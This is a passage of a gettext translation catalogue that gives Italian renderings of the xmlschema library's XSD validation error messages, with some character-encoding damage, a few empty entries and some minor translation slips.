xmlschema/validators/facets.py:488 msgid "the number of digits has to be lesser or equal than {!r}" msgstr "il numero di cifre deve essere minore o uguale a {!r}" #: xmlschema/validators/facets.py:516 msgid "" "fractionDigits facet can be applied only to types derived from xs:decimal" msgstr "" "la facet fractionDigits puĂ² essere applicata solo ai tipi derivati da xs:" "decimal" #: xmlschema/validators/facets.py:532 msgid "fractionDigits facet value must be 0 for types derived from xs:integer" msgstr "" "il valore della facet fractionDigits dev'essere 0 per i tipi derivati da xs:" "integer" #: xmlschema/validators/facets.py:549 msgid "the number of fraction digits has to be lesser or equal than {!r}" msgstr "il numero di cifre della frazione dev'essere minore o uguale a {!r}" #: xmlschema/validators/facets.py:579 msgid "invalid restriction from {!r}" msgstr "restrizione non valida da {!r}" #: xmlschema/validators/facets.py:585 msgid "time zone required for value {!r}" msgstr "fuso orario richiesto per il valore {!r}" #: xmlschema/validators/facets.py:593 msgid "time zone prohibited for value {!r}" msgstr "fuso orario vietato per il valore {!r}" #: xmlschema/validators/facets.py:643 msgid "value {!r} must match a notation declaration" msgstr "il valore {!r} deve corrispondere a una dichiarazione di notazione" #: xmlschema/validators/facets.py:701 msgid "value must be one of {!r}" msgstr "il valore deve essere uno di {!r}" #: xmlschema/validators/facets.py:798 msgid "value doesn't match any pattern of {!r}" msgstr "il valore non corrisponde a nessun pattern di {!r}" #: xmlschema/validators/facets.py:849 msgid "missing attribute 'test'" msgstr "attributo mancante 'test'" #: xmlschema/validators/facets.py:879 msgid "value is not true with test path {!r}" msgstr "il valore non è vero con il test path {!r}" #: xmlschema/validators/global_maps.py:142 msgid "multiple redefinition for {} {!r}" msgstr "ridefinizione multipla per {} {!r}" #: xmlschema/validators/global_maps.py:157 msgid "circular redefinition for {} {!r}" msgstr "ridefinizione circolare per {} {!r}" #: xmlschema/validators/global_maps.py:262 msgid "can't change attribute {!r} of a global maps instance" msgstr "" "non è possibile modificare l'attributo {!r} delle mappe globali di un meta-schema" #: xmlschema/validators/global_maps.py:324 msgid "wrong tag {!r} for an XSD global definition/declaration" msgstr "tag errato {!r} per una dichiarazione/definizione globale XSD" #: xmlschema/validators/global_maps.py:382 msgid "{0!r} cannot substitute {1!r}" msgstr "{0!r} non puĂ² sostituire {1!r}" #: xmlschema/validators/global_maps.py:684 msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" msgstr "" "defaultAttributes={0!r} non corrisponde a nessun gruppo di attributi di {1!r}" #: xmlschema/validators/global_maps.py:731 msgid "global maps main validator is not registered" msgstr "" #: xmlschema/validators/global_maps.py:744 msgid "schema {} does not belong to namespace {!r}" msgstr "lo schema {} non appartiene allo spazio de nomi {!r}" #: xmlschema/validators/global_maps.py:748 msgid "duplicate of schema {} found in namespace {!r}" msgstr "duplicato dello schema {} trovato nello spazio dei nomi {!r}" #: xmlschema/validators/global_maps.py:753 msgid "registered schemas do not match namespace mapped schemas" msgstr "gli schemi registrati non corrispondono agli schemi mappati sugli spazi dei nomi" #: xmlschema/validators/global_maps.py:773 msgid "circularity found for substitution group with head element {}" msgstr "" "circolaritĂ  trovata per il gruppo di sostituzione con elemento di testa {}" #: xmlschema/validators/global_maps.py:778 msgid "global group not built!" msgstr "gruppo globale non costruito!" #: xmlschema/validators/global_maps.py:785 msgid "the redefined group is an illegal restriction" msgstr "il gruppo ridefinito è una restrizione illegale" #: xmlschema/validators/global_maps.py:801 msgid "the derived group is an illegal restriction" msgstr "il gruppo derivato è una restrizione illegale" #: xmlschema/validators/global_maps.py:811 msgid "restriction has an open content but base type has not" msgstr "la restrizione ha un contenuto aperto ma il tipo di base no" #: xmlschema/validators/global_maps.py:817 msgid "" "can't verify the content model of {!r} due to exceeding of maximum recursion " "depth" msgstr "" "impossibile verificare il modello di contenuto di {!r} a causa del " "superamento della profonditĂ  massima di ricorsione" #: xmlschema/validators/groups.py:399 msgid "{!r} is not a particle of the model group" msgstr "{!r} non è una particella del gruppo di modelli" #: xmlschema/validators/groups.py:481 xmlschema/validators/groups.py:521 msgid "attribute 'name' not allowed in a local group" msgstr "l'attributo 'nome' non è consentito in un gruppo locale" #: xmlschema/validators/groups.py:490 #, python-format msgid "missing group %r" msgstr "gruppo mancante %r" #: xmlschema/validators/groups.py:500 xmlschema/validators/groups.py:552 msgid "maxOccurs must be 1 for 'all' model groups" msgstr "maxOccurs deve essere 1 per i gruppi modello 'all'" #: xmlschema/validators/groups.py:503 xmlschema/validators/groups.py:555 #: xmlschema/validators/groups.py:1243 msgid "minOccurs must be (0 | 1) for 'all' model groups" msgstr "minOccurs deve essere (0 | 1) per i gruppi modello 'all'" #: xmlschema/validators/groups.py:506 msgid "in XSD 1.0 an 'all' model group cannot be nested" msgstr "in XSD 1.0 un gruppo di modelli 'all' non puĂ² essere nidificato" #: xmlschema/validators/groups.py:525 xmlschema/validators/groups.py:535 msgid "attribute 'minOccurs' not allowed in a global group" msgstr "l'attributo 'minOccurs' non è consentito in un gruppo globale" #: xmlschema/validators/groups.py:528 xmlschema/validators/groups.py:538 msgid "attribute 'maxOccurs' not allowed in a global group" msgstr "l'attributo 'maxOccurs' non è consentito in un gruppo globale" #: xmlschema/validators/groups.py:566 msgid "'all' model can contain only elements" msgstr "un modello 'all' puĂ² contenere solo elementi" #: xmlschema/validators/groups.py:576 xmlschema/validators/groups.py:1259 msgid "missing attribute 'ref' in local group" msgstr "attributo mancante 'ref' in gruppo locale" #: xmlschema/validators/groups.py:585 msgid "'all' model can appears only at 1st level of a model group" msgstr "" "un modello 'all' puĂ² apparire solo al 1° livello di un gruppo di modelli" #: xmlschema/validators/groups.py:593 msgid "Redefined group reference can't have minOccurs/maxOccurs other than 1" msgstr "" "il riferimento al gruppo ridefinito non puĂ² avere minOccurs/maxOccurs " "diverso da 1" #: xmlschema/validators/groups.py:597 xmlschema/validators/groups.py:1281 #, python-format msgid "Circular definition detected for group %r" msgstr "Rilevata definizione circolare per il gruppo %r" #: xmlschema/validators/groups.py:853 #, python-format msgid "substitution of %r is blocked" msgstr "la sostituzione di %r è bloccata" #: xmlschema/validators/groups.py:906 msgid "usage of {0!r} with type {1} is blocked by head element" msgstr "l'utilizzo di {0!r} con tipo {1} è bloccato dall'elemento di testa" #: xmlschema/validators/groups.py:931 msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" msgstr "" "{0!r} che corrisponde a {1!r} non è coerente con la dichiarazione locale {2!" "r}" #: xmlschema/validators/groups.py:937 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." msgstr "" "Forse una tabella di tipo non equivalente tra gli elementi {0!r} e {1!r}." #: xmlschema/validators/groups.py:966 msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" msgstr "" "un gruppo 'choice' vuoto con minOccurs > 0 non puĂ² convalidare alcun " "contenuto" #: xmlschema/validators/groups.py:977 xmlschema/validators/groups.py:1211 msgid "character data between child elements not allowed" msgstr "caratteri tra elementi figlio non consentiti" #: xmlschema/validators/groups.py:990 #, python-format msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" msgstr "profonditĂ  dei dati XML superata (MAX_XML_DEPTH=%r)" #: xmlschema/validators/groups.py:1168 msgid "{!r} does not match any declared element of the model group" msgstr "" "{!r} non corrisponde a nessun elemento dichiarato del gruppo di modelli" #: xmlschema/validators/groups.py:1171 msgid "{0} has an unknown prefix {1!r}" msgstr "{0} ha un prefisso sconosciuto {1!r}" #: xmlschema/validators/groups.py:1206 msgid "wrong content type {!r}" msgstr "tipo di contenuto sbagliato {!r}" #: xmlschema/validators/groups.py:1240 msgid "maxOccurs must be (0 | 1) for 'all' model groups" msgstr "maxOccurs deve essere (0 | 1) per i gruppi con modello 'all'" #: xmlschema/validators/groups.py:1269 #, python-brace-format msgid "an xs:{0} group cannot include a reference to an xs:{1} group" msgstr "un gruppo xs:{0} non puĂ² includere un riferimento a un gruppo xs:{1}" #: xmlschema/validators/groups.py:1276 msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" msgstr "" "il riferimento al gruppo ridefinito non puĂ² avere minOccurs/maxOccurs " "diverso da 1" #: xmlschema/validators/helpers.py:50 #, python-format msgid "wrong value %r for attribute %r" msgstr "il valore %r per l'attributo %r è sbagliato" #: xmlschema/validators/helpers.py:79 msgid "value is not a valid xs:decimal" msgstr "il valore non è un xs:decimal valido" #: xmlschema/validators/helpers.py:85 msgid "value is not an xs:QName" msgstr "il valore non è un xs:QName" #: xmlschema/validators/helpers.py:91 xmlschema/validators/helpers.py:97 #: xmlschema/validators/helpers.py:103 xmlschema/validators/helpers.py:109 #: xmlschema/validators/helpers.py:115 xmlschema/validators/helpers.py:121 #: xmlschema/validators/helpers.py:127 xmlschema/validators/helpers.py:133 msgid "value must be {:s}" msgstr "il valore dev'essere {:s}" #: xmlschema/validators/helpers.py:139 msgid "value must be negative" msgstr "il valore dev'essere negativo" #: xmlschema/validators/helpers.py:145 msgid "value must be positive" msgstr "il valore dev'essere positivo" #: xmlschema/validators/helpers.py:151 msgid "value must be non positive" msgstr "il valore dev'essere non positivo" #: xmlschema/validators/helpers.py:157 msgid "value must be non negative" msgstr "il valore dev'essere non negativo" #: xmlschema/validators/helpers.py:164 msgid "not an hexadecimal number" msgstr "non è un numero esadecimale" #: xmlschema/validators/helpers.py:177 msgid "not a base64 encoding" msgstr "non è una codifica base64" #: xmlschema/validators/helpers.py:182 msgid "no value is allowed for xs:error type" msgstr "nessun valore è ammesso per il tipo xs:error" #: xmlschema/validators/helpers.py:192 msgid "{!r} is not a boolean value" msgstr "{!r} non è un valore booleano" #: xmlschema/validators/models.py:144 msgid "" "Element Declarations Consistent violation between {0!r} and {1!r}: match the " "same name but with different types" msgstr "" "violazione della consistenza della dichiarazione degli elementi tra {0!r} e " "{1!r}: corrispondenza del nome ma con tipi diversi" #: xmlschema/validators/models.py:158 msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" msgstr "{0!r} e {1!r} si sovrappongono e sono nello stesso gruppo {2!r}" #: xmlschema/validators/models.py:170 msgid "Unique Particle Attribution violation between {0!r} and {1!r}" msgstr "violazione dell'attribuzione di particelle univoche tra {0!r} e {1!r}" #: xmlschema/validators/notations.py:36 msgid "a notation declaration must be global" msgstr "una dichiarazione notation dev'essere globale" #: xmlschema/validators/notations.py:40 msgid "a notation must have a 'name' attribute" msgstr "una notation deve avere l'attributo 'name'" #: xmlschema/validators/notations.py:43 msgid "a notation must have a 'public' or a 'system' attribute" msgstr "una notation deve avere un attributo 'public' o 'system'" #: xmlschema/validators/particles.py:142 msgid "minOccurs value is not an integer value" msgstr "il valore di minOccurs non è un valore intero" #: xmlschema/validators/particles.py:146 msgid "minOccurs value must be a non negative integer" msgstr "il valore di minOccurs dev'essere un intero non negativo" #: xmlschema/validators/particles.py:154 msgid "minOccurs must be lesser or equal than maxOccurs" msgstr "minOccurs dev'essere inferiore o uguale a maxOccurs" #: xmlschema/validators/particles.py:162 msgid "maxOccurs value must be a non negative integer or 'unbounded'" msgstr "il valore di maxOccurs dev'essere un intero non negativo o 'unbounded'" #: xmlschema/validators/particles.py:166 msgid "maxOccurs must be 'unbounded' or greater than minOccurs" msgstr "maxOccurs dev'essere 'unbounded' o maggiore di minOccurs" #: xmlschema/validators/schemas.py:146 msgid "XSD_VERSION must be '1.0' or '1.1'" msgstr "XSD_VERSION deve essere '1.0' o '1.1'" #: xmlschema/validators/schemas.py:323 msgid "no XSD source provided!" msgstr "nessun sorgente XSD fornito!" #: xmlschema/validators/schemas.py:349 msgid "the attribute 'targetNamespace' cannot be an empty string" msgstr "l'attributo 'targetNamespace' non puĂ² essere una stringa vuota" #: xmlschema/validators/schemas.py:352 msgid "" "targetNamespace of XSD resource {} differs from what expected (found {!r} " "instead of {!r})" msgstr "" #: xmlschema/validators/schemas.py:374 #, python-brace-format msgid "The namespace {nm.XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/schemas.py:443 #, python-format msgid "'global_maps' argument must be an %r instance" msgstr "l'argomento 'global_maps' deve essere un'istanza %r" #: xmlschema/validators/schemas.py:510 msgid "can't change the global maps instance of a class meta-schema" msgstr "" "non è possibile modificare l'istanza delle mappe globali di un meta-schema" #: xmlschema/validators/schemas.py:514 msgid "" "can't change the global maps instance of a schema that is the main validator " "of another global maps instance" msgstr "" "non è possibile modificare l'istanza delle mappe globali di uno schema che è" "il validatore principale di un altra istanza di mappe globali" #: xmlschema/validators/schemas.py:528 msgid "can't set the meta_schema instance of a schema" msgstr "" "non è possibile modificare il meta_schema di uno schema" #: xmlschema/validators/schemas.py:536 xmlschema/validators/schemas.py:540 msgid "can't change the {!r} attribute of a schema" msgstr "non è possibile cambiare l'attributo {!r} di una schema" #: xmlschema/validators/schemas.py:738 #, python-format msgid "meta-schema unavailable for %r" msgstr "meta-schema non disponibile per %r" #: xmlschema/validators/schemas.py:949 msgid "the namespace {!r} is not loaded" msgstr "lo spazio dei nomi {!r} non è caricato" #: xmlschema/validators/schemas.py:1083 msgid "invalid attribute vc:minVersion value" msgstr "valore non valido per l'attributo vc:minVersion" #: xmlschema/validators/schemas.py:1092 msgid "invalid attribute vc:maxVersion value" msgstr "valore non valido per l'attributo vc:maxVersion" #: xmlschema/validators/schemas.py:1168 xmlschema/validators/schemas.py:1175 msgid "{!r} is not a valid value for xs:QName" msgstr "{!r} non è un valore valido per xs:QName" #: xmlschema/validators/schemas.py:1184 msgid "prefix {!r} not found in namespace map" msgstr "prefisso {!r} non trovato nella mappa degli spazi dei nomi" #: xmlschema/validators/schemas.py:1192 msgid "" "the QName {!r} is mapped to no namespace, but this requires that there is an " "xs:import statement in the schema without the 'namespace' attribute." msgstr "" "il QName {!r} non è mappato su alcuno spazio dei nomi, ma ciĂ² richiede che " "sia presente un'istruzione xs:import nello schema senza l'attributo " "'namespace'." #: xmlschema/validators/schemas.py:1201 msgid "" "the QName {!r} is mapped to the namespace {!r}, but this namespace has not " "an xs:import statement in the schema." msgstr "" "il QName {0!r} è mappato allo spazio dei nomi {1!r}, ma questo spazio dei " "nomi non ha un'istruzione xs:import nello schema." #: xmlschema/validators/schemas.py:1365 xmlschema/validators/schemas.py:1422 #: xmlschema/validators/schemas.py:1601 msgid "{!r} is not an element of the schema" msgstr "{!r} non è un elemento dello schema" #: xmlschema/validators/schemas.py:1379 msgid "the provided path selects nothing to validate" msgstr "il path fornito non seleziona nulla" #: xmlschema/validators/schemas.py:1395 #, python-format msgid "IDREF %r not found in XML document" msgstr "IDREF %r non trovato nel documento XML" #: xmlschema/validators/schemas.py:1703 msgid "encoding needs at least one XSD element declaration" msgstr "la codifica richiede almeno una dichiarazione di elemento XSD" #: xmlschema/validators/schemas.py:1745 #, python-format msgid "the path %r doesn't match any element of the schema!" msgstr "il path %r non corrisponde a nessun elemento dello schema!" #: xmlschema/validators/schemas.py:1747 msgid "" "unable to select an element for encoding data, provide a valid 'path' " "argument." msgstr "" "impossibile selezionare un elemento per la decodifica dei dati, fornire un " "argomento 'path' valido." #: xmlschema/validators/simple_types.py:120 msgid "wrong value %r for facet xs:whiteSpace" msgstr "valore errato %r per il facet xs:whiteSpace'" #: xmlschema/validators/simple_types.py:162 msgid "facets not allowed for a direct derivation of xs:anySimpleType" msgstr "facet non consentite per una derivazione diretta di xs:anySimpleType" #: xmlschema/validators/simple_types.py:166 msgid "facets not allowed for a direct content derivation of xs:anySimpleType" msgstr "" "facet non consentite per una derivazione diretta del contenuto di xs:" "anySimpleType" #: xmlschema/validators/simple_types.py:172 msgid "one or more facets are not applicable, admitted set is {!r}" msgstr "una o piĂ¹ facet non sono applicabili, l'insieme ammesso è {!r}" #: xmlschema/validators/simple_types.py:178 #, python-format msgid "facet group must have the same base type: %r" msgstr "il gruppo di vincoli facet deve avere lo stesso tipo di base: %r" #: xmlschema/validators/simple_types.py:188 msgid "'length' value must be non a negative integer" msgstr "il valore di 'length' deve essere un numero intero non negativo" #: xmlschema/validators/simple_types.py:192 msgid "'minLength' value must be less than or equal to 'length'" msgstr "il valore di 'minLength' deve essere minore o uguale a 'length'" #: xmlschema/validators/simple_types.py:199 msgid "cannot specify both 'length' and 'minLength'" msgstr "non si puĂ² specificare sia 'length' che 'minLength'" #: xmlschema/validators/simple_types.py:204 msgid "'maxLength' value must be greater or equal to 'length'" msgstr "il valore di 'maxLength' deve essere maggiore o uguale a 'length'" #: xmlschema/validators/simple_types.py:212 msgid "cannot specify both 'length' and 'maxLength'" msgstr "non si puĂ² specificare sia 'length' che 'maxLength'" #: xmlschema/validators/simple_types.py:221 msgid "'minLength' value must be a non negative integer" msgstr "il valore di 'minLength' deve essere un numero intero non negativo" #: xmlschema/validators/simple_types.py:224 msgid "'maxLength' value is less than 'minLength'" msgstr "il valore di 'maxLength' è minore di 'minLength'" #: xmlschema/validators/simple_types.py:227 msgid "'minLength' has a lesser value than parent" msgstr "'minLength' ha un valore minore del genitore" #: xmlschema/validators/simple_types.py:230 msgid "'minLength' has a greater value than parent 'maxLength'" msgstr "'minLength' ha un valore maggiore di 'maxLength' del genitore" #: xmlschema/validators/simple_types.py:235 msgid "'maxLength' value must be a non negative integer" msgstr "il valore 'maxLength' deve essere un numero intero non negativo" #: xmlschema/validators/simple_types.py:238 msgid "'maxLength' has a lesser value than parent 'minLength'" msgstr "'maxLength' ha un valore inferiore rispetto a 'minLength' del genitore" #: xmlschema/validators/simple_types.py:241 msgid "'maxLength' has a greater value than parent" msgstr "'maxLength' ha un valore maggiore del genitore" #: xmlschema/validators/simple_types.py:252 msgid "cannot specify both 'minInclusive' and 'minExclusive'" msgstr "non è possibile specificare sia 'minInclusive' che 'minExclusive'" #: xmlschema/validators/simple_types.py:255 msgid "'minInclusive' must be less or equal to 'maxInclusive'" msgstr "'minInclusive' deve essere minore o uguale a 'maxInclusive'" #: xmlschema/validators/simple_types.py:258 msgid "'minInclusive' must be lesser than 'maxExclusive'" msgstr "'minInclusive' deve essere inferiore a 'maxExclusive'" #: xmlschema/validators/simple_types.py:263 msgid "'minExclusive' must be lesser than 'maxInclusive'" msgstr "'minExclusive' deve essere inferiore a 'maxInclusive'" #: xmlschema/validators/simple_types.py:266 msgid "'minExclusive' must be less or equal to 'maxExclusive'" msgstr "'minExclusive' deve essere minore o uguale a 'maxExclusive'" #: xmlschema/validators/simple_types.py:270 msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" msgstr "non è possibile specificare sia 'maxInclusive' che 'maxExclusive'" #: xmlschema/validators/simple_types.py:276 msgid "" "fractionDigits facet value cannot be lesser than the value of totalDigits " "facet" msgstr "" "il valore della facet fractionDigits non puĂ² essere inferiore al valore " "della facet totalDigits" #: xmlschema/validators/simple_types.py:282 msgid "" "totalDigits facet value cannot be greater than the value of the same facet " "in the base type" msgstr "" "il valore della facet totalDigits non puĂ² essere maggiore del valore della " "stessa facet nel tipo di base" #: xmlschema/validators/simple_types.py:291 #, python-format msgid "" "the explicitTimezone facet value cannot be changed if the base type has the " "same facet with value %r" msgstr "" "il valore del facet explicitTimezone non puĂ² essere modificato se il tipo di " "base ha lo stesso facet con valore %r" #: xmlschema/validators/simple_types.py:691 msgid "value is not an instance of {!r}" msgstr "il valore non è un'istanza di {!r}" #: xmlschema/validators/simple_types.py:713 #: xmlschema/validators/simple_types.py:805 #: xmlschema/validators/simple_types.py:1167 msgid "invalid value {!r}" msgstr "valore non valido {!r}" #: xmlschema/validators/simple_types.py:740 #, python-format msgid "unmapped prefix %r in a QName" msgstr "prefisso %r non mappato in un QName" #: xmlschema/validators/simple_types.py:753 #: xmlschema/validators/simple_types.py:764 msgid "duplicated xs:ID value {!r}" msgstr "valore xs:ID {!r} duplicato" #: xmlschema/validators/simple_types.py:759 msgid "no more than one attribute of type ID should be present in an element" msgstr "non deve essere presente piĂ¹ di un attributo di tipo ID in un elemento" #: xmlschema/validators/simple_types.py:783 msgid "boolean value {0!r} requires a {1!r} decoder" msgstr "il valore booleano {0!r} richiede un decodificatore {1!r}" #: xmlschema/validators/simple_types.py:789 msgid "{0!r} is not an instance of {1!r}" msgstr "{0!r} non è un'istanza di {1!r}" #: xmlschema/validators/simple_types.py:892 msgid "ambiguous list type declaration" msgstr "dichiarazione ambigua di tipo lista" #: xmlschema/validators/simple_types.py:900 msgid "missing list type declaration" msgstr "dichiarazione di tipo lista mancante" #: xmlschema/validators/simple_types.py:916 #, python-format msgid "'final' value of the itemType %r forbids derivation by list" msgstr "il valore 'final' di itemType %r impedisce la derivazione da lista" #: xmlschema/validators/simple_types.py:920 #: xmlschema/validators/simple_types.py:1093 #: xmlschema/validators/simple_types.py:1376 msgid "cannot use xs:anyAtomicType as base type of a user-defined type" msgstr "" "non si puĂ² usare xs:anyAtomicType come tipo base di un tipo definito " "dall'utente" #: xmlschema/validators/simple_types.py:926 #, python-format msgid "%r: a list must be based on atomic data types" msgstr "%r: una lista deve essere basata su tipi di dati atomici" #: xmlschema/validators/simple_types.py:973 msgid "unexpected nested list item {!r}" msgstr "" #: xmlschema/validators/simple_types.py:1080 msgid "a {0!r} required, not {1!r}" msgstr "un {0!r} richiesto, non {1!r}" #: xmlschema/validators/simple_types.py:1084 #, python-format msgid "'final' value of the memberTypes %r forbids derivation by union" msgstr "" "il valore 'final' dei memberTypes %r impedisce la derivazione per unione" #: xmlschema/validators/simple_types.py:1090 msgid "missing xs:union type declarations" msgstr "dichiarazioni del tipo xs:union mancanti" #: xmlschema/validators/simple_types.py:1205 msgid "no type suitable for encoding the object" msgstr "nessun tipo adatto per codificare l'oggetto" #: xmlschema/validators/simple_types.py:1249 msgid "'name' attribute in a local simpleType definition" msgstr "attributo 'name' in una definizione simpleType locale" #: xmlschema/validators/simple_types.py:1289 #, python-format msgid "wrong base type %r, an atomic type required" msgstr "tipo di base %r errato, è richiesto un tipo atomico" #: xmlschema/validators/simple_types.py:1295 msgid "an xs:simpleType definition expected" msgstr "è prevista una definizione di xs:simpleType" #: xmlschema/validators/simple_types.py:1300 msgid "" "when a complexType with simpleContent restricts a complexType with mixed and " "with emptiable content then a simpleType child declaration is required" msgstr "" "è richiesta una dichiarazione figlio simpleType quando un complexType con " "simpleContent restringe un complexType con contenuto misto e svuotabile" #: xmlschema/validators/simple_types.py:1305 #, python-format msgid "simpleType restriction of %r is not allowed" msgstr "la restrizione simpleType di %r non è consentita" #: xmlschema/validators/simple_types.py:1314 msgid "unexpected tag after attribute declarations" msgstr "tag imprevisto dopo le dichiarazioni di attributo" #: xmlschema/validators/simple_types.py:1319 msgid "duplicated simpleType declaration" msgstr "dichiarazione simpleType duplicata" #: xmlschema/validators/simple_types.py:1345 msgid "restriction with 'base' attribute and simpleType declaration" msgstr "restrizione con attributo 'base' e dichiarazione simpleType" #: xmlschema/validators/simple_types.py:1353 #, python-format msgid "unexpected tag %r in restriction" msgstr "il tag %r non è previsto in una restrizione" #: xmlschema/validators/simple_types.py:1359 #, python-format msgid "multiple %r constraint facet" msgstr "piĂ¹ vincoli facet %r" #: xmlschema/validators/simple_types.py:1371 msgid "missing base type in restriction" msgstr "tipo di base mancante nella restrizione" #: xmlschema/validators/simple_types.py:1373 #, python-format msgid "'final' value of the baseType %r forbids derivation by restriction" msgstr "il valore 'final' del baseType %r vieta la derivazione per restrizione" #: xmlschema/validators/simple_types.py:1430 #: xmlschema/validators/simple_types.py:1453 #, python-format msgid "" "wrong base type %r: a simpleType or a complexType with simple or mixed " "content required" msgstr "" "tipo base %r errato: è richiesto un simpleType o un complexType concontenuto " "semplice o misto" #: xmlschema/validators/validation.py:55 msgid "validation mode must be a string" msgstr "il validation mode dev'essere una stringa" #: xmlschema/validators/validation.py:57 #, python-format msgid "validation mode can be 'strict', 'lax' or 'skip': %r" msgstr "il modo di validazione puĂ² essere 'strict', 'lax' o 'skip': %r" #: xmlschema/validators/validation.py:179 msgid "attribute {0}={1!r}: {2}" msgstr "attributo {0}={1!r}: {2}" #: xmlschema/validators/wildcards.py:92 #, python-format msgid "wrong value %r in 'namespace' attribute" msgstr "valore errato %r nell'attributo 'namespace'" #: xmlschema/validators/wildcards.py:99 #, python-format msgid "wrong value %r for 'processContents' attribute" msgstr "valore errato %r per l'attributo 'processContents'" #: xmlschema/validators/wildcards.py:107 msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" msgstr "gli attributi 'namespace' e 'notNamespace' sono mutuamente esclusivi" #: xmlschema/validators/wildcards.py:118 #, python-format msgid "wrong value %r in 'notNamespace' attribute" msgstr "valore errato %r nell'attributo 'notNamespace'" #: xmlschema/validators/wildcards.py:134 msgid "wrong value for 'notQName' attribute" msgstr "valore errato per l'attributo 'notQName'" #: xmlschema/validators/wildcards.py:141 #, python-format msgid "unmapped QName in 'notQName' attribute: %s" msgstr "QName non mappato nell'attributo 'notQName': %s" #: xmlschema/validators/wildcards.py:145 #, python-format msgid "wrong QName format in 'notQName' attribute: %s" msgstr "formato QName errato nell'attributo 'notQName': %s" #: xmlschema/validators/wildcards.py:153 msgid "the namespace of each QName in notQName is allowed by notNamespace" msgstr "" "lo spazio dei nomi di ogni QName in notQName è consentito da notNamespace" #: xmlschema/validators/wildcards.py:157 msgid "names in notQName must be in namespaces that are allowed" msgstr "i nomi in notQName devono trovarsi negli spazi dei nomi consentiti" #: xmlschema/validators/wildcards.py:334 msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" msgstr "unione di spazi dei nomi di wildcard non esprimibile: {0!r} V {1!r}:" #: xmlschema/validators/wildcards.py:502 xmlschema/validators/wildcards.py:545 msgid "element {!r} is not allowed here" msgstr "l'elemento {!r} non è consentito qui" #: xmlschema/validators/wildcards.py:510 xmlschema/validators/wildcards.py:552 #: xmlschema/validators/wildcards.py:691 xmlschema/validators/wildcards.py:720 msgid "unavailable namespace {!r}" msgstr "" #: xmlschema/validators/wildcards.py:673 xmlschema/validators/wildcards.py:703 #, python-format msgid "attribute %r not allowed" msgstr "attributo %r non consentito" #: xmlschema/validators/wildcards.py:685 xmlschema/validators/wildcards.py:714 #, python-format msgid "attribute %r not found" msgstr "attributo %r non trovato" #: xmlschema/validators/wildcards.py:875 #, python-format msgid "wrong value %r for 'mode' attribute" msgstr "valore errato %r per l'attributo 'mode'" #: xmlschema/validators/wildcards.py:881 msgid "" "an openContent with mode='none' cannot have an <xs:any> child declaration" msgstr "" "un openContent con mode='none' non puĂ² avere una dichiarazione figlio <xs:" "any>" #: xmlschema/validators/wildcards.py:885 msgid "an <xs:any> child declaration is required" msgstr "è richiesta una dichiarazione figlio <xs:any>" #: xmlschema/validators/wildcards.py:919 msgid "defaultOpenContent must be a child of the schema" msgstr "defaultOpenContent deve essere un figlio dello schema" #: xmlschema/validators/wildcards.py:922 msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" msgstr "l'attributo 'mode' di un defaultOpenContent non puĂ² essere 'none'" #: xmlschema/validators/wildcards.py:925 msgid "a defaultOpenContent declaration cannot be empty" msgstr "una dichiarazione defaultOpenContent non puĂ² essere vuota" #: xmlschema/validators/xsdbase.py:125 msgid "%r is not built" msgstr "%r non è costruito" #: xmlschema/validators/xsdbase.py:130 msgid "validation mode is 'strict' and %r is not built" msgstr "il modo di validazione è 'strict' e %r non costruito" #: xmlschema/validators/xsdbase.py:133 #, fuzzy, python-format msgid "validation mode is 'strict' and %r is not valid" msgstr "il modo di validazione puĂ² essere 'strict', 'lax' o 'skip': %r" #: xmlschema/validators/xsdbase.py:249 msgid "" "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " "{1})." msgstr "" "valore errato {0!r} per l'attributo 'xpathDefaultNamespace', puĂ² essere " "(anyURI | {1})." #: xmlschema/validators/xsdbase.py:436 #, python-format msgid "missing attribute 'name' in a global %r" msgstr "attributo 'name' mancante in %r globale" #: xmlschema/validators/xsdbase.py:439 #, python-format msgid "missing both attributes 'name' and 'ref' in local %r" msgstr "attributi 'name' e 'ref' entrambi mancanti in %r locale" #: xmlschema/validators/xsdbase.py:442 msgid "attributes 'name' and 'ref' are mutually exclusive" msgstr "gli attributi 'name' e 'ref' sono mutuamente esclusivi" #: xmlschema/validators/xsdbase.py:445 #, python-format msgid "attribute 'ref' not allowed in a global %r" msgstr "l'attributo 'ref' non è ammesso in un %r globale" #: xmlschema/validators/xsdbase.py:454 msgid "a reference component cannot have child definitions/declarations" msgstr "" "un componente riferimento non puĂ² avere definizioni/dichiarazioni figlie" #: xmlschema/validators/xsdbase.py:469 msgid "too many XSD components, unexpected {0!r} found at position {1}" msgstr "troppi componenti XSD, trovato un {0!r} inatteso alla posizione {1}" #: xmlschema/validators/xsdbase.py:486 #, python-brace-format msgid "The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/xsdbase.py:490 msgid "" "attribute 'name' must be present when 'targetNamespace' attribute is provided" msgstr "" "l'attributo 'name' deve essere presente quando viene fornito l'attributo " "'targetNamespace'" #: xmlschema/validators/xsdbase.py:494 msgid "" "attribute 'form' must be absent when 'targetNamespace' attribute is provided" msgstr "" "l'attributo 'form' deve essere assente quando viene fornito l'attributo " "'targetNamespace'" #: xmlschema/validators/xsdbase.py:499 #, python-format msgid "a global %s must have the same namespace as its parent schema" msgstr "un %r globale deve avere lo stesso namespace del suo schema genitore" #: xmlschema/validators/xsdbase.py:507 msgid "" "a declaration contained in a global complexType must have the same namespace " "as its parent schema" msgstr "" "una dichiarazione contenuta in un complexType globale deve avere lo stesso " "namespace del suo schema genitore" #: xmlschema/validators/xsdbase.py:632 msgid "parent circularity from {}" msgstr "circolaritĂ  del genitore da {}" #: xmlschema/validators/identities.py:89 msgid "'xpath' attribute required" msgstr "l'attributo 'xpath' è obbligatorio" #: xmlschema/validators/identities.py:104 msgid "invalid XPath expression for an {}" msgstr "espressione XPath non valida per un {}" #: xmlschema/validators/identities.py:173 msgid "missing required 